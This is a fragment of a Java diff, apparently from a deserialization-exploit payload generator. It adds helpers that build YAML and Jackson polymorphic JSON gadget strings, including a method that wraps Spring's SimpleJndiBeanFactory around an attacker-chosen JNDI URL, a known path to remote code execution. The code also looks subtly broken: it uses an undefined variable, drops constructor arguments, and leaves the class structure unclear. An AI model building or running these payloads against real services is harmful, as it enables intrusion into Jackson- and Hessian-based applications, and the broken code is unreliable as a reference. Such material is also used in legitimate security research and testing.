com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException { com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); - if (serializer instanceof WriteReplaceSerializer) { + if ( serializer instanceof WriteReplaceSerializer ) { return UnsafeSerializer.create(cl); } return serializer; } } -} + + + protected static String writeObject(Class clazz, Map properties, String... consArgs) { + return writeObject(clazz.getName(), properties, consArgs); + } + + protected static String writeObject(String clazz, Map properties, String... consArgs) { + return writeObject(clazz, properties, 0, consArgs); + } + + protected static String writeObject(Class clazz, Map properties, int level, String... consArgs) { + return writeObject(clazz.getName(), properties, level, consArgs); + } + + protected static String writeObject(String clazz, Map properties, int level, String... consArgs) { + StringBuilder sb = new StringBuilder(); + sb.append(writeConstructor(clazz, globalinline, consArgs)); + + if (!properties.isEmpty()) { + int indent = (level + 1) * 2; + for (Map.Entry prop : properties.entrySet()) { + sb.append('\n'); + for (int i = 0; i < indent; i++) { + sb.append(' '); + } + sb.append(prop.getKey()); + sb.append(':').append(' '); + sb.append(prop.getValue()); + } + } + return sb.toString(); + } + + + protected static String writeConstructor(Class clazz, boolean inline, String... args) { + return writeConstructor(clazz.getName(), inline, args); + } + + protected static String writeConstructor(String clazz, boolean inline, String... args) { + StringBuilder sb = new StringBuilder(); + sb.append(constructorPrefix(inline)); + sb.append(clazz); + return sb.toString(); + } + + protected static String constructorPrefix ( boolean inline ) { + if ( !inline ) { + return "foo: !"; + } + return "!"; + } + + public static String writeString(String string) { + return '"' + string + '"'; + } + + public static String writeJackJsonObject( Class clazz, Map values ) { + return writeJackJsonObject(clazz.getName(), values); + } + public static String writeJackJsonObject ( String type, Map properties ) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + sb.append('{'); + boolean first = true; + for ( Map.Entry e : properties.entrySet() ) { + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + writeProperty(sb, e.getKey(), e.getValue()); + } + sb.append('}'); + sb.append(']'); + return sb.toString(); + } + + public static void writeProperty ( StringBuilder sb, String key, String value ) { + sb.append('"').append(key).append('"'); + sb.append(':'); + sb.append(value); + } + + public static String writeCollection ( String type, String... values ) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + arrayHandler(sb, values); + sb.append(']'); + return sb.toString(); + } + + public static void arrayHandler(StringBuilder sb, String[] values) { + sb.append('['); + boolean first = true; + for ( String val : values ) { + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + sb.append(val); + } + sb.append(']'); + } + + public static String makeSpringJndiBeanFactory ( String jndiUrl ) { + return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); + } + public static String quoteString ( String string ) { + return '"' + string + '"'; + } + + public static String writeArray ( String... elements ) { + StringBuilder sb = new StringBuilder(); + arrayHandler(sb, elements); + return sb.toString(); + } + + + + +} \ No newline at end of file